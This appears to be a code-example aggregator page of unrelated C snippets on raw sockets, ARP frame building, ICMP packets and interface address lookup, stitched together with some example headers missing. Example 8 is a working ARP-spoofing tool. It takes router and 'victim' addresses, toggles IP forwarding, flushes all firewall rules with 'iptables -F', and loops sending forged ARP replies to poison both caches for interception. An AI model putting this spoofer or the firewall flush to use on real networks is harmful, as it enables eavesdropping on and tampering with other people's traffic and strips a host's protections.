char* buildRequest(char* sourceMac,char* sourceIp, char* destinationIp, ARPDetails cacheEntry) {
	struct ethhdr  *eth;
	int status;
	arp_hdr* arpHeader;
	unsigned short type=htons(ETH_TYPE);
	char* frame = (char*) allocate_strmem(FRAME_LENGTH);
	eth = (struct ethhdr*) frame;

	memcpy(eth->h_dest,BRODCAST_MAC,HADDR_LEN);
	memcpy(eth->h_source,sourceMac,HADDR_LEN);
	eth->h_proto = type;
	arpHeader = (arp_hdr*)(eth+1);
	arpHeader->hlen = HADDR_LEN;
	arpHeader->htype = ETHERNET;
	arpHeader->opcode = ARPOP_REQUEST;
	arpHeader->plen = IPADDR_LEN;
	memcpy (&arpHeader->sender_mac, sourceMac, HADDR_LEN);
	memcpy (&arpHeader->target_mac, BRODCAST_MAC, HADDR_LEN);
	struct in_addr sinAddr;
	if ((status = inet_pton (AF_INET, sourceIp, &sinAddr)) != 1) {
		fprintf (stderr, "inet_pton() failed for source IP address.\nError message: %s", strerror (status));
		exit (EXIT_FAILURE);
	}
	setARPIPBlock(sinAddr,arpHeader->sender_ip);
	if ((status = inet_pton (AF_INET, destinationIp, &sinAddr)) != 1) {
		fprintf (stderr, "inet_pton() failed for destination IP address.\nError message: %s", strerror (status));
		exit (EXIT_FAILURE);
	}
	setARPIPBlock(sinAddr,arpHeader->target_ip);
	arpHeader->advNumber = ARP_ADV_NUM;
	return frame;
}
Esempio n. 2
0
char* get_mac_addr(int socket, char *interface) {
    uint8_t *src_mac;
    char *mac;
    struct ifreq ifr;

    memset(&ifr, 0, sizeof (ifr));
    bzero(&ifr, sizeof (ifr));

    src_mac = allocate_ustrmem(ETHER_ADDR_LEN);
    mac = allocate_strmem(MAC_ADDR_STRLEN);

    strncpy((char *) ifr.ifr_name, interface, IFNAMSIZ);

    if ((ioctl(socket, SIOCGIFHWADDR, &ifr)) == -1) {
        submit_log("create_raw_socket(): [%s]\n", "Error getting HW ADDR");
        exit(EXIT_FAILURE);
    }
    memcpy(src_mac, ifr.ifr_hwaddr.sa_data, ETHER_ADDR_LEN * sizeof (uint8_t));

    sprintf(mac, "%02x:%02x:%02x:%02x:%02x:%02x", src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5]);

    submit_log("Interface: %s\n", interface);
    submit_log("MAC ADDR: %s\n", mac);

    return mac;
}
char *marshallMessage(char ipAddress[INET_ADDRSTRLEN], const char macAddress[HADDR_LEN]) {
	int messageLength = INET_ADDRSTRLEN + HADDR_LEN;
	char*  marshelledMessage = (char*)allocate_strmem(messageLength);
	memcpy(marshelledMessage,macAddress,HADDR_LEN);
	strncpy(marshelledMessage+HADDR_LEN,ipAddress,INET_ADDRSTRLEN);
	return marshelledMessage;
}
Esempio n. 4
0
File: tour.c Progetto: myroman/beta
int createRtSocket(){
	const int on = 1;
	int sd;
	struct ifreq ifr;
	char* interface = allocate_strmem (40);
	strcpy (interface, "eth0");
	// Submit request for a socket descriptor to look up interface.
	if ((sd = socket (AF_INET, SOCK_RAW, RT_PROTO)) < 0) {
		perror ("socket() failed to get socket descriptor for using ioctl() ");
		exit (EXIT_FAILURE);
	}

	// Use ioctl() to look up interface index which we will use to
	// bind socket descriptor sd to specified interface with setsockopt() since
	// none of the other arguments of sendto() specify which interface to use.
	memset (&ifr, 0, sizeof (ifr));
	snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface);
	if (ioctl (sd, SIOCGIFINDEX, &ifr) < 0) {
		perror ("ioctl() failed to find interface ");
		return (EXIT_FAILURE);
	}
	close (sd);	

	// Submit request for a raw socket descriptor.
	if ((sd = socket (AF_INET, SOCK_RAW, RT_PROTO)) < 0) {
		perror ("socket() failed ");
		exit (EXIT_FAILURE);
	}
	// Set flag so socket expects us to provide IPv4 header.
	if (setsockopt (sd, IPPROTO_IP, IP_HDRINCL, &on, sizeof (on)) < 0) {
		perror ("setsockopt() failed to set IP_HDRINCL ");
		exit (EXIT_FAILURE);
	}

	// Bind socket to interface index.
	if (setsockopt (sd, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof (ifr)) < 0) {
		perror ("setsockopt() failed to bind to interface ");
		exit (EXIT_FAILURE);
	}
	free(interface);	
	return sd;
}
Esempio n. 5
0
char* get_ip_addr(int socket, char *interface) {
    char *src_ip;
    struct ifreq ifr;

    memset(&ifr, 0, sizeof (ifr));
    bzero(&ifr, sizeof (ifr));

    src_ip = allocate_strmem(INET_ADDRSTRLEN);

    strncpy((char *) ifr.ifr_name, interface, IFNAMSIZ);

    if ((ioctl(socket, SIOCGIFADDR, &ifr)) == -1) {
        submit_log("create_raw_socket(): [%s]\n", "Error getting IP ADDR");
        exit(EXIT_FAILURE);
    }

    strcpy(src_ip, inet_ntoa(((struct sockaddr_in *) &ifr.ifr_addr)->sin_addr));

    submit_log("IP ADDR: %s\n", src_ip);

    return src_ip;
}
char* buildReply(arp_hdr arpHeader) {
	struct ethhdr  *eth;
	int status;
	unsigned short type=htons(ETH_TYPE);
	char* frame = (char*) allocate_strmem(FRAME_LENGTH);
	eth = (struct ethhdr*) frame;
	eth->h_proto=type;
	populateLocalMacAddress(eth->h_source);
	memcpy(eth->h_dest, arpHeader.sender_mac,HADDR_LEN);
	arp_hdr*  newArpHeader = (arp_hdr*)(eth+1);
	memcpy(newArpHeader->target_mac, arpHeader.sender_mac,HADDR_LEN);
	strncpy(newArpHeader->target_ip,arpHeader.sender_ip,INETP_LEN );
	populateLocalMacAddress(newArpHeader->sender_mac);
	strncpy(newArpHeader->sender_ip,arpHeader.target_ip,INETP_LEN );
	newArpHeader->opcode = ARPOP_REPLY;
	newArpHeader->advNumber = arpHeader.advNumber;
	newArpHeader->hlen = arpHeader.hlen;
	newArpHeader->htype = arpHeader.htype;
	newArpHeader->plen = arpHeader.plen;
	newArpHeader->ptype = arpHeader.ptype;
	return frame;
}
Esempio n. 7
0
int
main (int argc, char **argv)
{
  int i, status, frame_length, sd, bytes;
  char *interface;
  uint8_t *src_mac, *dst_mac, *ether_frame;
  struct sockaddr_in *ipv4;
  struct sockaddr_ll device;
  struct ifreq ifr;

  // Allocate memory for various arrays.
  src_mac = allocate_ustrmem (6);
  dst_mac = allocate_ustrmem (6);
  ether_frame = allocate_ustrmem (ETH_HDRLEN);
  interface = allocate_strmem (40);

  // Interface to send packet through.
  strcpy (interface, argv[1]);

  // Submit request for a socket descriptor to look up interface.
  if ((sd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
    perror ("socket() failed to get socket descriptor for using ioctl() ");
    exit (EXIT_FAILURE);
  }

  // Use ioctl() to look up interface name and get its MAC address.
  memset (&ifr, 0, sizeof (ifr));
  snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface);
  if (ioctl (sd, SIOCGIFHWADDR, &ifr) < 0) {
    perror ("ioctl() failed to get source MAC address ");
    return (EXIT_FAILURE);
  }
  close (sd);

  // Copy source MAC address.
  memcpy (src_mac, ifr.ifr_hwaddr.sa_data, 6 * sizeof (uint8_t));

  // Report source MAC address to stdout.
  printf ("MAC address for interface %s is ", interface);
  for (i=0; i<5; i++) {
    printf ("%02x:", src_mac[i]);
  }
  printf ("%02x\n", src_mac[5]);

  // Find interface index from interface name and store index in
  // struct sockaddr_ll device, which will be used as an argument of sendto().
  memset (&device, 0, sizeof (device));
  if ((device.sll_ifindex = if_nametoindex (interface)) == 0) {
    perror ("if_nametoindex() failed to obtain interface index ");
    exit (EXIT_FAILURE);
  }
  printf ("Index for interface %s is %i\n", interface, device.sll_ifindex);

  // Set destination MAC address: broadcast address
  memset (dst_mac, 0xff, 6 * sizeof (uint8_t));

  // Fill out sockaddr_ll.
  device.sll_family = AF_PACKET;
  memcpy (device.sll_addr, src_mac, 6 * sizeof (uint8_t));
  device.sll_halen = 6;

  // Fill out ethernet frame header.

  // Ethernet frame length = ethernet header (MAC + MAC + ethernet type) + ethernet data (ARP header)
  frame_length = 6 + 6 + 2;

  // Destination and Source MAC addresses
  memcpy (ether_frame, dst_mac, 6 * sizeof (uint8_t));
  memcpy (ether_frame + 6, src_mac, 6 * sizeof (uint8_t));

  // Next is ethernet type code (ETH_P_ARP for ARP).
  // http://www.iana.org/assignments/ethernet-numbers
  ether_frame[12] = ETH_HLEN / 256;
  ether_frame[13] = ETH_HLEN % 256;

  // Submit request for a raw socket descriptor.
  if ((sd = socket (PF_PACKET, SOCK_RAW, htons (ETH_P_ALL))) < 0) {
    perror ("socket() failed ");
    exit (EXIT_FAILURE);
  }

  // Send ethernet frame to socket.
  if ((bytes = sendto (sd, ether_frame, frame_length, 0, (struct sockaddr *) &device, sizeof (device))) <= 0) {
    perror ("sendto() failed");
    exit (EXIT_FAILURE);
  }

  // Close socket descriptor.
  close (sd);

  // Free allocated memory.
  free (src_mac);
  free (dst_mac);
  free (ether_frame);
  free (interface);

  return (EXIT_SUCCESS);
}
Esempio n. 8
0
int main(int argc, char **argv) {
    eth_header *ethernet;
    arp_header *arp;
    int arg, c, set_router = 0, set_target = 0;
    int unidir = 0;
    char *interface = NULL;
    char *exitValue;
    FILE *config;
    char *router = NULL, *victim = NULL;

    if (argc < 2) {
        fprintf(stderr, "Too Few Arguments\n");
        fprintf(stderr, "Option -%c requires an argument.\n", optopt);
        fprintf(stderr, "[USAGE] => %s -i \"[wlan0 or etho0]\" \n-r \"{ROUTER_IP:ROUTER_MAC}\" \n-t \"{VICTIM_IP:VICTIM_MAC}\" \n", argv[0]);
        return 1;
    } else {
        while ((c = getopt(argc, argv, "i:ur:t:")) != -1) {
            switch (c) {
                case 'i':
                    interface = optarg;
                    break;
                case 'u':
                    // flag for uni-directional
                    unidir = 1;
                    break;
                case 'r':
                    // flag for router info
                    router = optarg;
                    set_router = 1;
                    break;
                case 't':
                    // flag for target info
                    victim = optarg;
                    set_target = 1;
                    break;
                case '?':
                    if (optopt == 'i') {
                        fprintf(stderr, "Option -%c requires an argument.\n", optopt);
                        fprintf(stderr, "[USAGE] => %s -i \"[wlan0 or etho0]\" \n", argv[0]);
                    } else if (optopt == 'r') {
                        fprintf(stderr, "Option -%c requires an argument.\n", optopt);
                        fprintf(stderr, "[USAGE] => %s -r {router_ip-router_mac} \n", argv[0]);
                    } else if (optopt == 't') {
                        fprintf(stderr, "Option -%c requires an argument.\n", optopt);
                        fprintf(stderr, "[USAGE] => %s -t {target_ip-target_mac} \n", argv[0]);
                    } else if (isprint(optopt)) {
                        fprintf(stderr, "Unknown option '-%c'.\n", optopt);
                    } else {
                        fprintf(stderr, "Unknown option character '\\x%x'.\n", optopt);
                    }
                    return 1;
            }
        }
    }

    MY_IP_ADDRS = allocate_strmem(INET_ADDRSTRLEN);
    MY_MAC_ADDRS = allocate_strmem(MAC_ADDR_STRLEN);

    ROUTER_IP_ADDRS = allocate_strmem(INET_ADDRSTRLEN);
    ROUTER_MAC_ADDRS = allocate_strmem(MAC_ADDR_STRLEN);

    VICTIM_IP_ADDRS = allocate_strmem(INET_ADDRSTRLEN);
    VICTIM_MAC_ADDRS = allocate_strmem(MAC_ADDR_STRLEN);

    // Create a Raw Socket
    RAW = create_raw_socket(ETH_P_ALL);

    MY_MAC_ADDRS = get_mac_addr(RAW, interface);
    MY_IP_ADDRS = get_ip_addr(RAW, interface);

    submit_log("MY IP ADDR: %s", MY_IP_ADDRS);
    submit_log("MY MAC ADDR: %s", MY_MAC_ADDRS);

    if (set_router == 1) {
        ROUTER_IP_ADDRS = strtok(router, "-");
        ROUTER_MAC_ADDRS = strtok(NULL, "-");

        submit_log("R IP ADDR: %s", ROUTER_IP_ADDRS);
        submit_log("R MAC ADDR: %s", ROUTER_MAC_ADDRS);
    }

    if (set_target == 1) {
        VICTIM_IP_ADDRS = strtok(victim, "-");
        VICTIM_MAC_ADDRS = strtok(NULL, "-");

        submit_log("V IP ADDR: %s", VICTIM_IP_ADDRS);
        submit_log("V MAC ADDR: %s", VICTIM_MAC_ADDRS);
    }



    arg = 1;
    if (setsockopt(RAW, SOL_SOCKET, SO_REUSEADDR, &arg, sizeof (arg)) == -1) {
        submit_log("[%s]\n", "setsockopt(): failed");
        exit(EXIT_FAILURE);
    }
    //BindRawSocketToInterface(argv[1], RAW,ETH_P_ALL); // Bind raw Socket to Interface

    if (unidir != 1) {
        // Enable IP Forwarding to capture 2 way traffic (Victim >> Router && Router >> Victim)
        if ((system("echo 1 > /proc/sys/net/ipv4/ip_forward")) == -1) {
            submit_log("%s", "unable to set ip_forward flag to 1");
            return EXIT_FAILURE;
        }
    } else {
        submit_log("%s", "IP Forwarding set to 0");
        // Allow to capture 1 way traffic (Victim >> Router) and do not pass the request to Router
        if ((system("echo 0 > /proc/sys/net/ipv4/ip_forward")) == -1) {
            submit_log("%s", "unable to set ip_forward flag to 0");
            return EXIT_FAILURE;
        }
    }

    // Clear the Firewall rules for the device
    if ((system("iptables -F")) == -1) {
        submit_log("%s", "Unable to Flush the Firewall rules");
        return EXIT_FAILURE;
    }


    while (TRUE) {
        ethernet = create_eth_header(MY_MAC_ADDRS, VICTIM_MAC_ADDRS, ETHERTYPE_ARP);
        arp = create_arp_header(MY_MAC_ADDRS, ROUTER_IP_ADDRS, VICTIM_MAC_ADDRS, VICTIM_IP_ADDRS, ARP_REPLY);
        send_packet(ethernet, arp, interface);

        ethernet = create_eth_header(MY_MAC_ADDRS, ROUTER_MAC_ADDRS, ETHERTYPE_ARP);
        arp = create_arp_header(MY_MAC_ADDRS, VICTIM_IP_ADDRS, ROUTER_MAC_ADDRS, ROUTER_IP_ADDRS, ARP_REPLY);
        send_packet(ethernet, arp, interface);

        sleep(1);

        config = fopen(CONFIG_FILE_LOC, "r");
        exitValue = malloc(sizeof (char *));
        rewind(config); // Seek to the beginning of the file
        if (fgets(exitValue, 100, config) != NULL) {
            fprintf(stdout, "%c\n", exitValue[0]);
            fflush(stdout);

            if (exitValue[0] == '1') {
                fprintf(stdout, "Exiting.....\n");
                break;
            }
        }

        free(exitValue);
        fclose(config);

    }

    return 0;
}
Esempio n. 9
0
int
main (int argc, char **argv)
{
  int i, offset, sd, status;
  uint8_t *ether_frame;
  struct ip *iphdr;
  ra_hdr *rahdr;
  char *src_ip, *dst_ip;

  // Allocate memory for various arrays.
  ether_frame = allocate_ustrmem (IP_MAXPACKET);
  src_ip = allocate_strmem (INET_ADDRSTRLEN);
  dst_ip = allocate_strmem (INET_ADDRSTRLEN);

  // Submit request for a raw socket descriptor.
  if ((sd = socket (PF_PACKET, SOCK_RAW, htons (ETH_P_ALL))) < 0) {
    perror ("socket() failed ");
    exit (EXIT_FAILURE);
  }

  // Listen for incoming ethernet frame from socket sd.
  // We expect a router advertisment ethernet frame of the form:
  //     MAC (6 bytes) + MAC (6 bytes) + ethernet type (2 bytes)
  //     + ethernet data (IPv4 header + RA header)
  // Keep at it until we get a router advertisement.
  iphdr = (struct ip *) (ether_frame + 6 + 6 +2);
  rahdr = (ra_hdr *) (ether_frame + 6 + 6 + 2 + IP4_HDRLEN);
  while (((((ether_frame[12]) << 8) + ether_frame[13]) != ETH_P_IP) || (iphdr->ip_p != IPPROTO_ICMP) ||
         (rahdr->icmp_type != ICMP_ROUTERADVERT)) {
    if ((status = recv (sd, ether_frame, IP_MAXPACKET, 0)) < 0) {
      if (errno == EINTR) {
        memset (ether_frame, 0, IP_MAXPACKET * sizeof (uint8_t));
        continue;  // Something weird happened, but let's try again.
      } else {
        perror ("recv() failed:");
        exit (EXIT_FAILURE);
      }
    }
  }
  close (sd);

  // Print out contents of received ethernet frame.
  printf ("\nEthernet frame header:\n");
  printf ("Destination MAC (this node): ");
  for (i=0; i<5; i++) {
    printf ("%02x:", ether_frame[i]);
  }
  printf ("%02x\n", ether_frame[5]);
  printf ("Source MAC: ");
  for (i=0; i<5; i++) {
    printf ("%02x:", ether_frame[i+6]);
  }
  printf ("%02x\n", ether_frame[11]);
  // Next is ethernet type code (ETH_P_IP for IPv4 packets).
  // http://www.iana.org/assignments/ethernet-numbers
  printf ("Ethernet type code (2048 = IPv4): %u\n", ((ether_frame[12]) << 8) + ether_frame[13]);
  printf ("\nEthernet data (IPv4 header + Router Advertisement header)\n");
  printf ("IPv4 transport layer protocol (1 = ICMP): %u\n", iphdr->ip_p);
  if (inet_ntop (AF_INET, &(iphdr->ip_src), src_ip, INET_ADDRSTRLEN) == NULL) {
    status = errno;
    fprintf (stderr, "inet_ntop() failed.\nError message: %s", strerror (status));
    exit (EXIT_FAILURE);
  }
  printf ("Source IPv4 address: %s\n", src_ip);
  if (inet_ntop (AF_INET, &(iphdr->ip_dst), dst_ip, INET_ADDRSTRLEN) == NULL) {
    status = errno;
    fprintf (stderr, "inet_ntop() failed.\nError message: %s", strerror (status));
    exit (EXIT_FAILURE);
  }
  printf ("Destination IPv4 address: %s\n", dst_ip);
  printf ("ICMP message type (9 = router advertisement): %u\n", rahdr->icmp_type);
  printf ("ICMP message code: %u\n", rahdr->icmp_code);
  printf ("Number of IPv4 addresses associated with router: %u\n", rahdr->num_addrs);
  printf ("Router address entry size (in units of 32 bit words): %u\n", rahdr->entry_size);
  printf ("Lifetime of validity of router advertisement (seconds): %u\n", ntohs (rahdr->lifetime));
  offset = 6 + 6 + 2 + IP4_HDRLEN + ICMP_HDRLEN;  // Start of list of addresses and preference levels within ethernet frame
  for (i=0; i<rahdr->num_addrs; i++) {
    printf ("Router %i IPv4 address: %u:%u:%u:%u\n", 
     i, ether_frame[offset + (i * rahdr->entry_size * 4) + 0],
        ether_frame[offset + (i * rahdr->entry_size * 4) + 1],
        ether_frame[offset + (i * rahdr->entry_size * 4) + 2],
        ether_frame[offset + (i * rahdr->entry_size * 4) + 3]);
    printf ("Router %i preference level: %u\n", i,  ((ether_frame[offset + (i * rahdr->entry_size * 4) + 4]) << 24) +
     ((ether_frame[offset + (i * rahdr->entry_size * 4) + 5]) << 16) +
     ((ether_frame[offset + (i * rahdr->entry_size * 4) + 6]) << 8) +
     ether_frame[offset + (i * rahdr->entry_size * 4) + 7]);
    offset += rahdr->entry_size * 4;
  }

  free (ether_frame);
  free (src_ip);
  free (dst_ip);

  return (EXIT_SUCCESS);
}
Esempio n. 10
0
File: tour.c Progetto: myroman/beta
int sendRtMsg(int sd){
	
	int status, datalen, *ip_flags;
	char *target, *src_ip, *dst_ip;
	struct ip iphdr;
	uint8_t *data, *packet;
	struct icmp icmphdr;
	struct addrinfo hints, *res;
	struct sockaddr_in *ipv4, sin;	
	void *tmp;

	// Allocate memory for various arrays.
	data = allocate_ustrmem (IP_MAXPACKET);
	packet = allocate_ustrmem (IP_MAXPACKET);
	target = allocate_strmem (40);
	src_ip = allocate_strmem (INET_ADDRSTRLEN);
	dst_ip = allocate_strmem (INET_ADDRSTRLEN);
	ip_flags = allocate_intmem (4);

	strcpy(src_ip, inet_ntoa(ip_list[0]));

	strcpy(target, inet_ntoa(ip_list[1]));
	debug("Source IP %s, targe IP %s", src_ip, target);

	// Fill out hints for getaddrinfo().
	memset (&hints, 0, sizeof (struct addrinfo));
	hints.ai_family = AF_INET;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_flags = hints.ai_flags | AI_CANONNAME;

	// Resolve target using getaddrinfo().
	if ((status = getaddrinfo (target, NULL, &hints, &res)) != 0) {
		fprintf (stderr, "getaddrinfo() failed: %s\n", gai_strerror (status));
		exit (EXIT_FAILURE);
	}
	ipv4 = (struct sockaddr_in *) res->ai_addr;
	tmp = &(ipv4->sin_addr);
	if (inet_ntop (AF_INET, tmp, dst_ip, INET_ADDRSTRLEN) == NULL) {
		status = errno;
		fprintf (stderr, "inet_ntop() failed.\nError message: %s", strerror (status));
		exit (EXIT_FAILURE);
	}
	freeaddrinfo (res);	
	datalen = sizeof(struct tourdata) + (VMcount * 4);
	
	struct tourdata td;
	td.index = htonl(0);
	td.nodes_in_tour = htonl(VMcount);
	td.mult_ip = inet_addr(MULTICAST_IP);
	td.mult_port = htons(MULTICAST_PORT);
	memcpy(data, &td, sizeof(struct tourdata));

	subscribeToMulticast(&td);

	void * ptr = data;
	ptr = ptr + sizeof(struct tourdata);
	int i;
	//Add the IPs of the VMs to visit
	for(i = 1; i <=VMcount; i++){
		memcpy(ptr, &ip_list[i], 4);
		struct in_addr * temp2 = (struct in_addr *) ptr;
		ptr = ptr + 4;
	}

	// IPv4 header

	// IPv4 header length (4 bits): Number of 32-bit words in header = 5
	iphdr.ip_hl = IP4_HDRLEN / sizeof (uint32_t);	
	iphdr.ip_v = 4;// Internet Protocol version (4 bits): IPv4	
	iphdr.ip_tos = 0;// Type of service (8 bits)	
	iphdr.ip_len = htons (IP4_HDRLEN + ICMP_HDRLEN + datalen);// Total length of datagram (16 bits): IP header + UDP header + datalen	
	iphdr.ip_id = htons (MY_IP_ID);// ID sequence number (16 bits): unused, since single datagram

	// Flags, and Fragmentation offset (3, 13 bits): 0 since single datagram
	ip_flags[0] = 0;  
	ip_flags[1] = 0;// Do not fragment flag (1 bit)  
	ip_flags[2] = 0;// More fragments following flag (1 bit)  
	ip_flags[3] = 0;// Fragmentation offset (13 bits)

	iphdr.ip_off = htons ((ip_flags[0] << 15)
	                  + (ip_flags[1] << 14)
	                  + (ip_flags[2] << 13)
	                  +  ip_flags[3]);	
	iphdr.ip_ttl = 255;// Time-to-Live (8 bits): default to maximum value	
	iphdr.ip_p = RT_PROTO;// Transport layer protocol (8 bits): 1 for ICMP

	// Source IPv4 address (32 bits)
	if ((status = inet_pton (AF_INET, src_ip, &(iphdr.ip_src))) != 1) {
	fprintf (stderr, "inet_pton() failed.\nError message: %s", strerror (status));
	exit (EXIT_FAILURE);
	}

	// Destination IPv4 address (32 bits)
	if ((status = inet_pton (AF_INET, dst_ip, &(iphdr.ip_dst))) != 1) {
	fprintf (stderr, "inet_pton() failed.\nError message: %s", strerror (status));
	exit (EXIT_FAILURE);
	}

	// IPv4 header checksum (16 bits): set to 0 when calculating checksum
	iphdr.ip_sum = 0;
	iphdr.ip_sum = checksum ((uint16_t *) &iphdr, IP4_HDRLEN);

	// ICMP header	
	icmphdr.icmp_type = 0;// Message Type (8 bits): echo request	
	icmphdr.icmp_code = 0;// Message Code (8 bits): echo request	
	icmphdr.icmp_id = htons (RT_ICMPID);// Identifier (16 bits): usually pid of sending process - pick a number	
	icmphdr.icmp_seq = htons (0);// Sequence Number (16 bits): starts at 0	
	icmphdr.icmp_cksum = 0;
	icmphdr.icmp_cksum = icmp4_checksum(icmphdr, data, datalen);

	// Prepare packet.
	// First part is an IPv4 header.
	memcpy (packet, &iphdr, IP4_HDRLEN);
	// Next part of packet is upper layer protocol header.
	memcpy ((packet + IP4_HDRLEN), &icmphdr, ICMP_HDRLEN);
	// Finally, add the ICMP data.
	memcpy (packet + IP4_HDRLEN + ICMP_HDRLEN, data, datalen);
	// Calculate ICMP header checksum
	//icmphdr.icmp_cksum = 0;//checksum ((uint16_t *) (packet + IP4_HDRLEN), ICMP_HDRLEN + datalen);
	//memcpy ((packet + IP4_HDRLEN), &icmphdr, ICMP_HDRLEN);

	// The kernel is going to prepare layer 2 information (ethernet frame header) for us.
	// For that, we need to specify a destination for the kernel in order for it
	// to decide where to send the raw datagram. We fill in a struct in_addr with
	// the desired destination IP address, and pass this structure to the sendto() function.
	memset (&sin, 0, sizeof (struct sockaddr_in));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = iphdr.ip_dst.s_addr;  

	if (sendto (sd, packet, IP4_HDRLEN + ICMP_HDRLEN + datalen, 0, (struct sockaddr *) &sin, sizeof (struct sockaddr)) < 0)  {
		perror ("sendto() failed ");
		exit (EXIT_FAILURE);
	}
	printOK();
	
	// Free allocated memory.
	free (data);
	free (packet);
	free (target);
	free (src_ip);
	free (dst_ip);
	free (ip_flags);

	return 0;
}